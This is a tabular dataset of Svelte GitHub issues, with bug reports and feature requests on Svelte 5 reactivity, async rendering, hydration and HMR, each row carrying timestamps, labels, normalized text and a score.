sveltejs/svelte,3758800397,Infinite loop caused by await in each,"### Describe the bug

Hi!

I encountered a very weird bug that causes the page to hang (<img width=""623"" height=""48"" alt=""Image"" src=""https://github.com/user-attachments/assets/82e52fe0-ad07-4893-ad5e-e4e2a9be3c96"" />)

```svelte
<script lang=""ts"">
  const numberOfDays = 1;

  let start = $state.raw(Temporal.Now.plainDateISO());
</script>

{#each Array.from( { length: numberOfDays }, () => Temporal.PlainDate.from(start), ) as day}
  {await Promise.resolve(day.toString())}
{/each}

<button
  type=""button""
  onclick={() => {
    start = start.add({ days: 1 });
  }}>+ 1 day</button
>
```

When clicking the button, the page hangs

However, when replacing `numberOfDays` by its numerical value (`1`), the bug no longer happens

```svelte
<script lang=""ts"">
  let start = $state.raw(Temporal.Now.plainDateISO());
</script>

{#each Array.from({ length: 1 }, () => Temporal.PlainDate.from(start)) as day}
  {await Promise.resolve(day.toString())}
{/each}

<button
  type=""button""
  onclick={() => {
    start = start.add({ days: 1 });
  }}>+ 1 day</button
>
```

The bug does not reproduce in the REPL, however, something else happens: when the variable is inlined, the code is no longer reactive.



### Reproduction

- Original code https://svelte.dev/playground/067a10bdddc843b2b03d9a1ce3344434?version=5.46.0

  Works in the REPL, hangs in real-world SvelteKit application

  The `{await Promise.resolve(day.toString())}` gets transpiled into:

  ```js
  $.template_effect(($0) => $.set_text(text... [TRUNCATED]",,2025-12-23 23:37:20+00:00,2026-01-25 15:16:47+00:00,0,nan,32.6524,infinite loop caused by await in each describe the bug hi i encountered a very weird bug that causes the page to hang when clicking the button the page hangs however when replacing by its numerical value the bug no longer happens the bug does not reproduce in the repl however something else happens when the variable is inlined the code is no longer reactive reproduction original code works in the repl hangs in real world sveltekit application the gets transpiled into js template effect set text text truncated,others,-0.9061
sveltejs/svelte,3758508523,Defined function becomes undefined,"### Describe the bug

I've been migrating my app to Svelte 5 and found a declared function becomes `undefined` in some cases

I can avoid the issue by declaring it as a variable (`const f = () => >..`). Also this doesn't occur in the rune mode

### Reproduction

https://svelte.dev/playground/32fe25bdf13a4cbe8bdf053d68dfe777?version=5.46.0

```svelte
<script>
  $: items = [];

  function myFunction(value) {
  }
  console.log(typeof myFunction); // => undefined
</script>

{#each items.filter(myFunction) as item}
  <input bind:value={item.value} />
{/each}

<style>
</style>
```

```
Error: undefined is not a function

	in <unknown>
	in __wrapper.svelte

    at Array.filter (<anonymous>)
    at eval (playground:output:5734:31)
    at untrack (playground:output:4402:11)
    at eval (playground:output:5734:6)
    at eval (playground:output:5066:21)
    at update_reaction (playground:output:4010:17)
    at execute_derived (playground:output:2244:13)
    at update_derived (playground:output:2260:15)
    at get (playground:output:4326:5)
    at eval (playground:output:5100:32)
```

### Logs

```shell

```

### System Info

```shell
System:
    OS: Linux 6.14 Ubuntu 24.04.2 LTS 24.04.2 LTS (Noble Numbat)
    CPU: (4) x64 Intel(R) Xeon(R) Platinum 8259CL CPU @ 2.50GHz
    Memory: 9.94 GB / 15.42 GB
    Container: Yes
    Shell: 5.2.21 - /bin/bash
  Binaries:
    Node: 20.19.6 - /home/ubuntu/.nvm/versions/node/v20.19.6/bin/node
    npm: 3.10.10 - /home/ubuntu/***/node_modules/.bin/npm
  ... [TRUNCATED]",,2025-12-23 20:37:58+00:00,2026-01-08 14:10:14+00:00,0,nan,15.7307,defined function becomes undefined describe the bug i ve been migrating my app to svelte and found a declared function becomes in some cases i can avoid the issue by declaring it as a variable also this doesn t occur in the rune mode reproduction logs system info shell system os linux ubuntu lts lts noble numbat cpu x intel r xeon r platinum cl cpu ghz memory gb gb container yes shell bin bash binaries node home ubuntu nvm versions node v bin node npm home ubuntu node modules bin npm truncated,others,0.7096
sveltejs/svelte,3758443949,Render a snippet inside createRawSnippet,"### Describe the problem

How, if possible, can I render a snippet prop inside the createRawSnippet helper function?
This should also work on the server.

### Describe the proposed solution

n/a

### Importance

i cannot use svelte without it",,2025-12-23 20:11:28+00:00,2025-12-24 00:10:45+00:00,6,nan,0.1662,render a snippet inside createrawsnippet describe the problem how if possible can i render a snippet prop inside the createrawsnippet helper function this should also work on the server describe the proposed solution n a importance i cannot use svelte without it,others,0.5423
sveltejs/svelte,3750355138,Function bindings are not deeply reactive,"### Describe the bug

When using function bindings, the binding setter is invoked only when the bound property is ""replaced"".
If the bound property is a `$state` and is updated internally, the binding setter is not invoked.

This can lead to subtle bugs since the state & UI reacts correctly thanks to the deep reactivity of `$state` - just that the binding's setter is not invoked

### Reproduction

https://svelte.dev/playground/eb92a6bcf6a84b99a31d9e5e15fc6815?version=5.46.0

`App.svelte`
```svelte
<svelte:options runes />
<script lang=""ts"">
	import Component from './Component.svelte'
	
	let visibility = $state({red: true, blue: true})
</script>

<pre>{JSON.stringify(visibility, null, 2)}</pre>

<Component bind:visibility={
	() => visibility,
	(v) => {
		console.log('setter called')
		visibility = v
	}
} />
```

`Component.svelte`
```svelte
<script lang=""ts"">
	let {visibility = $bindable()} = $props()

	function toggleDeep() {
		// the following updates the state without invoking the binding setter
		visibility.blue = !visibility.blue
	}

	function toggleShallow() {
		// the following updates the state and correctly invokes the binding setter
		visibility = {...visibility, blue: !visibility.blue}
	}
</script>
<button onclick={toggleDeep}>Toggle Deep</button>
<button onclick={toggleShallow}>Toggle Shallow</button>
```

### Logs

```shell

```

### System Info

```shell
svelte: 5.46.0
runes enabled
```

### Severity

annoyance",documentation,2025-12-20 19:50:41+00:00,2025-12-21 19:12:58+00:00,9,documentation,0.9738,function bindings are not deeply reactive describe the bug when using function bindings the binding setter is invoked only when the bound property is replaced if the bound property is a and is updated internally the binding setter is not invoked this can lead to subtle bugs since the state ui reacts correctly thanks to the deep reactivity of just that the binding s setter is not invoked reproduction logs system info severity annoyance,documentation,-0.34
sveltejs/svelte,3743269970,Give cleanup functions in Attachments the same stale closure behaviour as effects,"### Describe the problem

In https://github.com/sveltejs/svelte/pull/15469 effects got a pretty neat feature; stale closures in cleanup method.

Attachments however, do not have this functionality;

https://github.com/user-attachments/assets/18a63639-663a-4f89-b9d1-134220676606

REPL: https://svelte.dev/playground/e16c61ac7c99475db45ea75e553550b5?version=5.46.0

### Describe the proposed solution

Give the same stale closure behaviour to attachments as in effects. This is a really nice feature and makes it easier to avoid some quirky bugs.

### Importance

would make my life easier",,2025-12-18 13:56:17+00:00,2025-12-18 14:19:47+00:00,3,nan,0.0163,give cleanup functions in attachments the same stale closure behaviour as effects describe the problem in effects got a pretty neat feature stale closures in cleanup method attachments however do not have this functionality repl describe the proposed solution give the same stale closure behaviour to attachments as in effects this is a really nice feature and makes it easier to avoid some quirky bugs importance would make my life easier,others,0.9589
sveltejs/svelte,3736187829,HMR triggers infinite loop when `await`ing a promise,"### Describe the bug

After any HMR changes to a page that awaits a promise, svelte starts to consume large amounts of resources.  

This is page resources used before an HMR...
<img width=""725"" height=""693"" alt=""Image"" src=""https://github.com/user-attachments/assets/ec2f806e-b9b8-476d-8417-946632dd85c6"" />

...and this is about 40 seconds after the HMR (where the linear growth starts is when the HMR happened)
<img width=""725"" height=""713"" alt=""Image"" src=""https://github.com/user-attachments/assets/6aa274b6-3e50-44f4-a47d-d25ff246019c"" />

The JS heap went from ~15MB to ~2GB.

### Reproduction

```svelte
<script lang=""ts"">
    import Inspect from ""svelte-inspect-value"";

    const testValue = await Promise.resolve(""Promised Value"");
</script>

<Inspect value={{ testValue: testValue }} />
```

The error starts in version 5.45.9 and continues into the latest version (5.46.0 at the time of writing).

### Logs

```shell

```

### System Info

```shell
Running in WSL

  System:
    OS: Linux 6.6 Arch Linux
    CPU: (16) x64 Intel(R) Core(TM) i9-9900K CPU @ 3.60GHz
    Memory: 4.59 GB / 15.57 GB
    Container: Yes
    Shell: 5.2.37 - /usr/bin/bash
  Binaries:
    Node: 22.17.0 - /home/tpetrov/.nvm/versions/node/v22.17.0/bin/node
    npm: 10.9.2 - /home/tpetrov/.nvm/versions/node/v22.17.0/bin/npm
    pnpm: 10.24.0 - /home/tpetrov/.local/share/pnpm/pnpm
    bun: 1.3.2 - /home/tpetrov/.bun/bin/bun
  npmPackages:
    svelte: ^5.46.0 => 5.46.0
```

### Severity

blocking an upgrade",,2025-12-16 20:14:41+00:00,2025-12-27 04:28:42+00:00,3,nan,10.3431,hmr triggers infinite loop when ing a promise describe the bug after any hmr changes to a page that awaits a promise svelte starts to consume large amounts of resources this is page resources used before an hmr and this is about seconds after the hmr where the linear growth starts is when the hmr happened the js heap went from mb to gb reproduction the error starts in version and continues into the latest version at the time of writing logs system info severity blocking an upgrade,others,-0.2732
sveltejs/svelte,3723333529,`experimental_async` error: false positive,"### Describe the bug

tl;dr - doing something like this:
```ts
// useFoo.svelte.ts
import { loadFoo } from './foo.remote';

export async function useFoo() {
  let data = $derived(await loadFoo());
  return {
    get data() {
      return data;
    },
  };
}
// +page.svelte
<script lang=""ts"">
  import { useFoo } from './useFoo.svelte';

  const foo = await useFoo();
</script>
{foo.data}
```
yields the following:
```
[plugin:vite-plugin-svelte-module] src/routes/useFoo.svelte.ts:3:22 Cannot use `await` in deriveds and template expressions, or at the top level of a component, unless the `experimental.async` compiler option is `true`
https://svelte.dev/e/experimental_async

/home/ixxie/mre-experimental-async/src/routes/useFoo.svelte.ts:4:22

1 |  import { loadFoo } from ""./foo.remote"";
 2 |  export async function useFoo() {
 3 |    let data = $derived(await loadFoo());
                                           ^
 4 |    return {
 5 |      get data() {
```
even if your config is this:
```js
import adapter from '@sveltejs/adapter-node';

export default {
  kit: {
    adapter: adapter(),
    experimental: {
      remoteFunctions: true,
    },
  },
  compilerOptions: {
    experimental: {
      async: true,
    },
  }
};
```
It's very possible I'm misunderstanding how to use async / remotes, but at the very least the error is confusing.

### Reproduction

MREs:
- [stackblitz](https://stackblitz.com/~/github.com/ixxie/mre-experimental-async?file=src/routes/useFoo.svelte.ts&file=src/r... [TRUNCATED]",,2025-12-12 12:56:39+00:00,2025-12-12 19:53:42+00:00,2,nan,0.2896,error false positive describe the bug tl dr doing something like this yields the following even if your config is this it s very possible i m misunderstanding how to use async remotes but at the very least the error is confusing reproduction mres stackblitz truncated,bug,-0.8095
sveltejs/svelte,3722834170,a11y_consider_explicit_label should not consider popovers as text,"### Describe the bug

Svelte won't raise an a11y_consider_explicit_label warning if a button only contains a popover and no other text, but as seen in this screenshot, popover text is not exposed to the accessibility tree, so the warning would be warranted.

<img width=""514"" height=""393"" alt=""accessibility panel screenshot showing the button lacks accessible name"" src=""https://github.com/user-attachments/assets/1e4d670b-a1e1-4a5b-bf9f-059ed45faf16"" />

### Reproduction

https://svelte.dev/playground/1855fb16ba544c6ea7ecdb822abe81b5?version=5.45.10

### Logs

```shell

```

### System Info

```shell
N/A
```

### Severity

annoyance",,2025-12-12 10:11:22+00:00,2026-01-28 17:56:19+00:00,0,nan,47.3229,a y consider explicit label should not consider popovers as text describe the bug svelte won t raise an a y consider explicit label warning if a button only contains a popover and no other text but as seen in this screenshot popover text is not exposed to the accessibility tree so the warning would be warranted reproduction logs system info severity annoyance,others,-0.7695
sveltejs/svelte,3721117746,5.43.4+ $derived doesn't update,"### Describe the bug

I have a tree whose items can be expanded and deleted. For some strange reason, deleting an item causes the tree to stop updating after an item is expanded or collapsed. This bug doesn't happen in 5.43.3.

### Reproduction

https://svelte.dev/playground/22fafc05ec84446fa2e4e4df0203449d?version=5.45.9

1. delete `main.ts`
2. try to expand `Pictures`

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 26.1
    CPU: (10) arm64 Apple M4
    Memory: 154.14 MB / 16.00 GB
    Shell: 4.2.1 - /opt/homebrew/bin/fish
  Binaries:
    Node: 25.2.1 - /opt/homebrew/bin/node
    Yarn: 1.22.22 - /opt/homebrew/bin/yarn
    npm: 11.6.2 - /opt/homebrew/bin/npm
    pnpm: 10.24.0 - /opt/homebrew/bin/pnpm
    bun: 1.3.3 - /opt/homebrew/bin/bun
  Browsers:
    Brave Browser: 143.1.85.111
    Firefox: 145.0.2
    Safari: 26.1
```

### Severity

annoyance",,2025-12-11 22:06:11+00:00,2026-01-12 20:14:10+00:00,8,nan,31.9222,derived doesn t update describe the bug i have a tree whose items can be expanded and deleted for some strange reason deleting an item causes the tree to stop updating after an item is expanded or collapsed this bug doesn t happen in reproduction delete try to expand logs system info severity annoyance,others,-0.8779
sveltejs/svelte,3718741287,5.44 breaks async rendering in Astro,"### Describe the bug

Upgrading svelte from `5.43.14` to `5.44.0` causes async rendering to fail, throwing the `server_context_required` error. We still call `render()` in what seems an okay way so I'm not sure what we should do about: https://github.com/withastro/astro/blob/main/packages/integrations/svelte/src/server.ts#L58.

### Reproduction

- Clone https://github.com/withastro/astro/
- Checkout to `fix/svelte-server-context-required`
- `pnpm i --frozen-lockfile`
- `pnpm build`
- `node --test packages/integrations/svelte/test/async-rendering.test.js`

### Logs

https://github.com/withastro/astro/actions/runs/20025261175/job/57421186982?pr=14979#step:8:78

### System Info

Irrelevant, occurs on all OSs for various node versions. See https://github.com/withastro/astro/pull/14979

### Severity

blocking an upgrade",,2025-12-11 10:20:51+00:00,2025-12-12 03:23:06+00:00,17,nan,0.7099,breaks async rendering in astro describe the bug upgrading svelte from to causes async rendering to fail throwing the error we still call in what seems an okay way so i m not sure what we should do about reproduction clone checkout to logs system info irrelevant occurs on all oss for various node versions see severity blocking an upgrade,others,-0.8988
sveltejs/svelte,3717260211,Bound props lose default value consistency when set to undefined,"### Describe the bug

Only defaults set directly in the prop destructuring (w = $bindable(256)) cause inconsistent binding behavior when the bound variable is set to undefined. All other ways of applying a default (effect, no default, run()) behave consistently. This suggests a bug in how destructuring defaults interact with $bindable and undefined assignments.

Or perhaps it's a matter of proper documentation?

### Reproduction

https://svelte.dev/playground/f634b0f40e4440a597b7c54d1fa7cabe?version=latest

### Logs

```shell

```

### System Info

```shell
Only tested in the REPL
```

### Severity

annoyance",,2025-12-11 00:42:34+00:00,2025-12-11 01:06:08+00:00,1,nan,0.0164,bound props lose default value consistency when set to undefined describe the bug only defaults set directly in the prop destructuring w bindable cause inconsistent binding behavior when the bound variable is set to undefined all other ways of applying a default effect no default run behave consistently this suggests a bug in how destructuring defaults interact with bindable and undefined assignments or perhaps it s a matter of proper documentation reproduction logs system info severity annoyance,others,-0.8658
sveltejs/svelte,3717239087,Significant performance regression in Immich maps starting at 5.43.4,"### Describe the bug

Starting in 5.34.4, it takes about 3 minutes to load the map page in [Immich](https://immich.app/). Usually it takes <5s. During this time, the browser was very slow, no painting/drawing/rendering. CPU was pegged at 100%.

I'm afraid I can't explain or provide a small reproducible test. However, I was able to narrow down the Svelte version that started to cause a significant performance regression when loading Immich maps page. In 5.43.3, it loads in <5s - 5.43.4 and later, it takes several minutes. I believe the only significant change in 5.45.4 was #17105. 

I tested also with [5.45.8](https://github.com/sveltejs/svelte/releases/tag/svelte%405.45.8), no improvement. 




### Reproduction

Unfortunately, I can't provide a small/easy reproduction. To reproduce, you'll have to set up an immich dev environment. You'll also need a fairly large library of images with location data. 

I'm attaching two performance traces. One bad, using 5.45.8 - and one good, using 5.43.3 

Hopefully, these traces may be helpful:

[loading_map_buggy_5_45_8.gz](https://github.com/user-attachments/files/24090511/loading_map_buggy_5_45_8.gz)
[loading_map_5_43_3.gz](https://github.com/user-attachments/files/24090512/loading_map_5_43_3.gz)

### Logs

```shell

```

### System Info

```shell
Server: 
  System:
    OS: Linux 6.8 Debian GNU/Linux 12 (bookworm) 12 (bookworm)
    CPU: (32) x64 AMD Ryzen 9 5950X 16-Core Processor
    Memory: 24.31 GB / 30.27 GB
    Container: Yes
    Sh... [TRUNCATED]",perf,2025-12-11 00:32:15+00:00,2026-01-28 14:58:14+00:00,18,perf,48.6014,significant performance regression in immich maps starting at describe the bug starting in it takes about minutes to load the map page in immich usually it takes s during this time the browser was very slow no painting drawing rendering cpu was pegged at i m afraid i can t explain or provide a small reproducible test however i was able to narrow down the svelte version that started to cause a significant performance regression when loading immich maps page in it loads in s and later it takes several minutes i believe the only significant change in was i tested also with no improvement reproduction unfortunately i can t provide a small easy reproduction to reproduce you ll have to set up an immich dev environment you ll also need a fairly large library of images with location data i m attaching two performance traces one bad using and one good using hopefully these traces may be helpful loading map buggy gz loading map gz logs system info shell server system os linux debian gnu linux bookworm bookworm cpu x amd ryzen x core processor memory gb gb container yes sh truncated,bug,0.4311
sveltejs/svelte,3710365128,docs: `undefined` and `null` are allowed in the `each` block,"### Describe the bug

Svelte each block now supports `undefined` and `null`.

- https://github.com/sveltejs/language-tools/pull/2863

The [docs](https://svelte.dev/docs/svelte/each) should be updated to match this behavior.

Current explanation is incorrect:

> in other words, anything that can be used with `Array.from`.

```js
Array.from(undefined); // Uncaught TypeError: can't access property Symbol.iterator, items is undefined
Array.from(null); // Uncaught TypeError
```

Stating this in the docs will avoid LLMs from writing `?? []` inside the `each` loop.


### Reproduction

-

### Logs

```shell

```

### System Info

```shell
-
```

### Severity

annoyance",,2025-12-09 11:06:57+00:00,2025-12-11 01:11:23+00:00,0,nan,1.5864,docs and are allowed in the block describe the bug svelte each block now supports and the docs should be updated to match this behavior current explanation is incorrect in other words anything that can be used with stating this in the docs will avoid llms from writing inside the loop reproduction logs system info severity annoyance,documentation,-0.8689
sveltejs/svelte,3709778893,`onclick` callback not optimized inside each loop,"### Describe the bug

Reference https://github.com/sveltejs/svelte/issues/16414

The 1st `onclick` callback should be defined once and be reused, but is no longer the case

```svelte
{#each { length: 2 }, index}
  <button type=""button"" value={index} onclick={(e) => console.log(e.currentTarget.value)}>
    {index}
  </button>
  <button type=""button"" onclick={() => console.log(index)}>{index}</button>
{/each}
```

```js
// was
var on_click = (e) => console.log(e.currentTarget.value);
button.__click = [on_click];

// as-is
$.each(node, 0, () => ({ length: 2 }), $.index, ($$anchor, $$item, index) => {
  var fragment_1 = root_1();
  var button = $.first_child(fragment_1);

  $.set_value(button, index);
  button.__click = (e) => console.log(e.currentTarget.value);
```

### Reproduction

From the issue body

- [5.41.0](https://svelte.dev/playground/2f52a1d01cbe413b801f0d7283525c2d?version=5.41.0) - fixed
- [5.42.0](https://svelte.dev/playground/2f52a1d01cbe413b801f0d7283525c2d?version=5.42.0) - broken

From https://github.com/sveltejs/svelte/issues/16414

- [5.36.5](https://svelte.dev/playground/93ce89c9e31248b3947dc23ae54e5992?version=5.36.5) - broken
- [5.36.6](https://svelte.dev/playground/93ce89c9e31248b3947dc23ae54e5992?version=5.36.6) - fixed
- [5.42.0](https://svelte.dev/playground/93ce89c9e31248b3947dc23ae54e5992?version=5.42.0) - broken

### Severity

blocking an upgrade",,2025-12-09 08:26:30+00:00,2025-12-09 15:35:13+00:00,8,nan,0.2977,callback not optimized inside each loop describe the bug reference the st callback should be defined once and be reused but is no longer the case reproduction from the issue body fixed broken from broken fixed broken severity blocking an upgrade,others,-0.9698
sveltejs/svelte,3961840089,Layout shift when using `{:else}` with `await` on remote functions during SSR,"### Describe the bug

When using `{#if await ...}{:else}{/if}` blocks with **SvelteKit remote functions** (`query` from `$app/server`), a layout shift occurs during hydration despite both branches being prerendered on the server. Using two separate `{#if}` blocks instead of `{:else}` eliminates the layout shift. **This issue only occurs with remote functions**, not with regular async functions or promises.

## Reproduction

### Remote functions (`test.remote.ts`)
```ts
import { query } from ""$app/server"";

export const getTest1 = query(async () => {
  return false;
});

export const getTest2 = query(async () => {
  return ""Hello World! 2"";
});
```

### Case 1: With layout shift (using `:else`)
```svelte
<script lang=""ts"">
    import { getTest1, getTest2 } from ""./test.remote"";
</script>

{#if await getTest1()}
  Testing
{:else}
  {await getTest2()}
{/if}

<h1>Welcome to SvelteKit</h1>
<p>Visit <a href=""https://svelte.dev/docs/kit"">svelte.dev/docs/kit</a> to read the documentation</p>
```

### Case 2: Without layout shift (using separate `{#if}` blocks)
```svelte
<script lang=""ts"">
    import { getTest1, getTest2 } from ""./test.remote"";
</script>

{#if await getTest1()}
  Testing
{/if}
{#if !await getTest1()}
  {await getTest2()}
{/if}

<h1>Welcome to SvelteKit</h1>
<p>Visit <a href=""https://svelte.dev/docs/kit"">svelte.dev/docs/kit</a> to read the documentation</p>
```

## Expected behavior
Both approaches should render identically during SSR and hydrate without layout shifts.... [TRUNCATED]",,2025-12-08 14:02:31+00:00,2026-02-23 17:57:53+00:00,1,nan,77.1634,layout shift when using with on remote functions during ssr describe the bug when using blocks with sveltekit remote functions from a layout shift occurs during hydration despite both branches being prerendered on the server using two separate blocks instead of eliminates the layout shift this issue only occurs with remote functions not with regular async functions or promises reproduction remote functions case with layout shift using case without layout shift using separate blocks both approaches should render identically during ssr and hydrate without layout shifts truncated,others,-0.6249
sveltejs/svelte,3703212555,Reactivity broken for {@const} after async boundary on navigation (regression after 5.43.0),"### Describe the bug

`{@const}` in child component loses reactivity after navigation when parent uses <svelte:boundary> with await

eg. in parent
```ts
<svelte:boundary>
        {@const data = await getPayments(params)
        <TestComponent value={(data) => JSON.stringify(data.rows)} arg={data} />
</svelte:boundary>
```
eg. child component 
```ts
<script lang=""ts"">
    type Props = {
        value: string | number | ((arg: any) => any);
        arg?: any;
    };

    let { value, arg = {} }: Props = $props();
</script>


{#if typeof value === ""string"" || typeof value === ""number""}
     {value}
{:else if value instanceof Function}
    {@const result = value(arg)}
    {result}
{/if}
```
Workarounds that fix it:

- Adding 100ms delay to async function 😁 
- move const to the script tag and $derive it from the props
- force read the `{@const result}` in the block , eg. console.logging, or result.toString(), etc.
- downgrading to 5.43.0

### Reproduction

https://github.com/yayza/async-const-test


1. on initial load, paginate, everything sync correctly
2. click the button to navigate to some other page
3. go back 
4. now paginate again and notice the value in the child doesn't change, the remote data, and the child's props are reactive, but result doesn't re-evaulate

### Logs

```shell
Nothing logs
```

### System Info

```shell
System:
    OS: Windows 11 10.0.26100
    CPU: (24) x64 AMD Ryzen 9 9900X 12-Core Processor
    Memory: 5.22 GB / 31.08 GB
  Binaries:
    Node: 24.6.0... [TRUNCATED]",,2025-12-07 07:19:39+00:00,2026-01-12 20:14:10+00:00,0,nan,36.5379,reactivity broken for const after async boundary on navigation regression after describe the bug in child component loses reactivity after navigation when parent uses with await eg in parent eg child component workarounds that fix it adding ms delay to async function move const to the script tag and derive it from the props force read the in the block eg console logging or result tostring etc downgrading to reproduction on initial load paginate everything sync correctly click the button to navigate to some other page go back now paginate again and notice the value in the child doesn t change the remote data and the child s props are reactive but result doesn t re evaulate logs system info shell system os windows cpu x amd ryzen x core processor memory gb gb binaries node truncated,bug,-0.5647
sveltejs/svelte,3701370547,Special Element for cookieStore,"### Describe the problem

Right now I’m using the cookieStore event listener like this:
```ts
onMount(() => {
		function cookieHandler(e: CookieChangeEvent) {
			console.log('Cookie changed:', e);
		};
		cookieStore.addEventListener('change', cookieHandler);
		return () => {
			cookieStore.removeEventListener('change', cookieHandler);
		};
	});
```

### Describe the proposed solution

I really wish we could just do something like:
```ts
<svelte:cookieStore onchange={(e) => console.log(e)}/>
```

Working with <svelte:window /> feels so smooth and satisfying, and then switching to manual event listeners for cookieStore just feels clunky.

### Importance

nice to have",,2025-12-06 09:48:44+00:00,2025-12-06 12:01:18+00:00,1,nan,0.0921,special element for cookiestore describe the problem right now i m using the cookiestore event listener like this describe the proposed solution i really wish we could just do something like working with feels so smooth and satisfying and then switching to manual event listeners for cookiestore just feels clunky importance nice to have,others,0.9506
sveltejs/svelte,3701305618,v5.45.3 breaks using prop inside $state (state_referenced_locally error),"### Describe the bug

```svelte
<script>
  import Form from './Form.svelte'

  let client = $state({
    name: 'Bob',
    cats: [
      { name: 'Milli'}
    ]
  })
</script>

<Form {client} />
```

```svelte
<script>
  const { client } = $props()

  let cats = $state(
    client.cats.map((cat) => ({
      ...cat,
      _id: Math.random(),
    })),
  )
</script>

{#each cats as cat (cat._id)}
  {cat.name}
{/each}
```

This used to be a perfectly fine use of Svelte, but now Svelte won't compile because it doesn't like the use of `client` inside `$state` (throws a state_referenced_locally error)

Not shown above (but added to reproduction below), later on I use `cats.push({ ... })` and the each block updates accordingly.

Now, Svelte insists on me using $derived instead, but when I use $derived and later push to cats, the each block doesn't update...

If $state is not longer supported and $derived does not work for other usecases, what is the right way forward here?

(edit: I just saw a few other closed issues suggesting using ignore comments.... this should not be the recommended approach. Our production app uses the above pattern extensively, we would be littering our codebase with 100s of ignore lines, OR have to disable globally and silence other areas where this uses to error)

### Reproduction

Works: https://svelte.dev/playground/f144d8e9a4b1440898f3cf139d9a6aab?version=5.45.2
Broken: https://svelte.dev/playground/f144d8e9a4b1440898f3cf139d9a6aab?version=5.45.3

(see Form... [TRUNCATED]",,2025-12-06 08:41:12+00:00,2025-12-06 08:53:56+00:00,6,nan,0.0088,v breaks using prop inside state state referenced locally error describe the bug this used to be a perfectly fine use of svelte but now svelte won t compile because it doesn t like the use of inside throws a state referenced locally error not shown above but added to reproduction below later on i use and the each block updates accordingly now svelte insists on me using derived instead but when i use derived and later push to cats the each block doesn t update if state is not longer supported and derived does not work for other usecases what is the right way forward here edit i just saw a few other closed issues suggesting using ignore comments this should not be the recommended approach our production app uses the above pattern extensively we would be littering our codebase with s of ignore lines or have to disable globally and silence other areas where this uses to error reproduction works broken see form truncated,bug,-0.9697
sveltejs/svelte,3700314765,Exception thrown in hydratable promise crashes entire node process,"### Describe the bug

Hey, thanks for launching the new hydratable feature! We're already taking advantage of it here at Stack Overflow.

We've noticed one problem with the current implementation though. If a promise rejects (eg. through a thrown exception), hydratable reasonably fails to serialize the Error object returned by the promise. However, it then throws an exception outside of the promise chain. This causes the entire node process to crash since I _think_ the exception was thrown in a background thread, not the main thread.

cc @elliott-with-the-longest-name-on-github @Rich-Harris @kaysef

I'm happy to open a PR to help fix this, I just need some guidance on what the intent is on these promise chains below.

## Source of the problem

I think the problematic bit is in the `entry.serialized` assignment:
https://github.com/sveltejs/svelte/blob/46603d93cbe072ea463a099894e2bccdd264051e/packages/svelte/src/internal/server/hydratable.js#L58-L88

I think that this accidentally introduces three branches of promise chains, only one of which is actually used:
1. The first promise is defined on line 60 with `const p = value.then((v) => `r(${uneval(v)})`).catch((d) => e.hydratable_serialization_failed(...));`. The promise we gave it throws an exception, so the `uneval` never runs and we jump to the `catch`. However, because `catch` is _returning_ the error object instead of throwing it, the promise is now an accepted promise of type `Promise<Error>`. It is _not_ the expected typ... [TRUNCATED]",,2025-12-05 20:48:49+00:00,2025-12-08 16:08:44+00:00,5,nan,2.8055,exception thrown in hydratable promise crashes entire node process describe the bug hey thanks for launching the new hydratable feature we re already taking advantage of it here at stack overflow we ve noticed one problem with the current implementation though if a promise rejects eg through a thrown exception hydratable reasonably fails to serialize the error object returned by the promise however it then throws an exception outside of the promise chain this causes the entire node process to crash since i think the exception was thrown in a background thread not the main thread cc elliott with the longest name on github rich harris kaysef i m happy to open a pr to help fix this i just need some guidance on what the intent is on these promise chains below source of the problem i think the problematic bit is in the assignment i think that this accidentally introduces three branches of promise chains only one of which is actually used the first promise is defined on line with r uneval v the promise we gave it throws an exception so the never runs and we jump to the however because is returning the error object instead of throwing it the promise is now an accepted promise of type it is not the expected typ truncated,bug,0.8151
sveltejs/svelte,3699099951,Async: interactivity breaks when you hover a link of another page (prefetch),"### Describe the bug

There is a weird bug that happens when using `compilerOptions.experimental.async` enabled.
If we have a server load function returning a promise, and in the page we are using `#await / :then` , if we hover a link that triggers prefetch, the interactive elements of the current page stop working.

### Reproduction

Here is a reproduction example, with instructions in it:
https://www.sveltelab.dev/m524ivv8qk75b9v

### Logs

```shell

```

### System Info

```shell
System:
    OS: Linux 5.0 undefined
    CPU: (8) x64 Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz
    Memory: 0 Bytes / 0 Bytes
    Shell: 1.0 - /bin/jsh
  Binaries:
    Node: 20.19.1 - /usr/local/bin/node
    Yarn: 1.22.19 - /usr/local/bin/yarn
    npm: 10.8.2 - /usr/local/bin/npm
    pnpm: 8.15.6 - /usr/local/bin/pnpm
  npmPackages:
    svelte: ^5 => 5.45.2
```

### Severity

annoyance",,2025-12-05 14:01:52+00:00,2026-01-01 04:09:43+00:00,2,nan,26.5888,async interactivity breaks when you hover a link of another page prefetch describe the bug there is a weird bug that happens when using enabled if we have a server load function returning a promise and in the page we are using if we hover a link that triggers prefetch the interactive elements of the current page stop working reproduction here is a reproduction example with instructions in it logs system info severity annoyance,others,-0.836
sveltejs/svelte,3695169399,`async` breaks reactivity with SvelteKit's preload,"### Describe the bug

Might be somewhat related to #17209. While the issue shows in kit, I assume the cause is somewhere within svelte proper, so filing here.

When using `async` in SvelteKit, preloading data may cause a loss of reactivity. While it seems that the value is updated (at least `$inspect()` suggests as much), the `$effect()` is not executed.

This can be triggered by both using `data-sveltekit-preload-data` or making use of `preloadData()`.

### Reproduction

https://stackblitz.com/edit/sveltekit-reactivity-loss?file=src%2Froutes%2F%2Bpage.svelte

Initially, opening the dialog both via button or the anchor works.
Once root `+page.svelte` is adjusted by either setting `triggerError` to true or `data-sveltekit-preload-data` to `hover`, opening the dialog via the button only works as long as the link has not been hovered or clicked.

Inspecting `dialogShowing` in `lib/SvelteDialog.svelte` indicates the variable is updating but the effect not firing.

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 26.1
    CPU: (10) arm64 Apple M2 Pro
    Memory: 65.02 MB / 32.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 24.11.1 - /opt/homebrew/opt/node@24/bin/node
    npm: 11.6.2 - /opt/homebrew/opt/node@24/bin/npm
  Browsers:
    Edge: 142.0.3595.94
    Firefox: 145.0.2
    Safari: 26.1
  npmPackages:
    svelte: ^5.42.2 => 5.45.5
```

### Severity

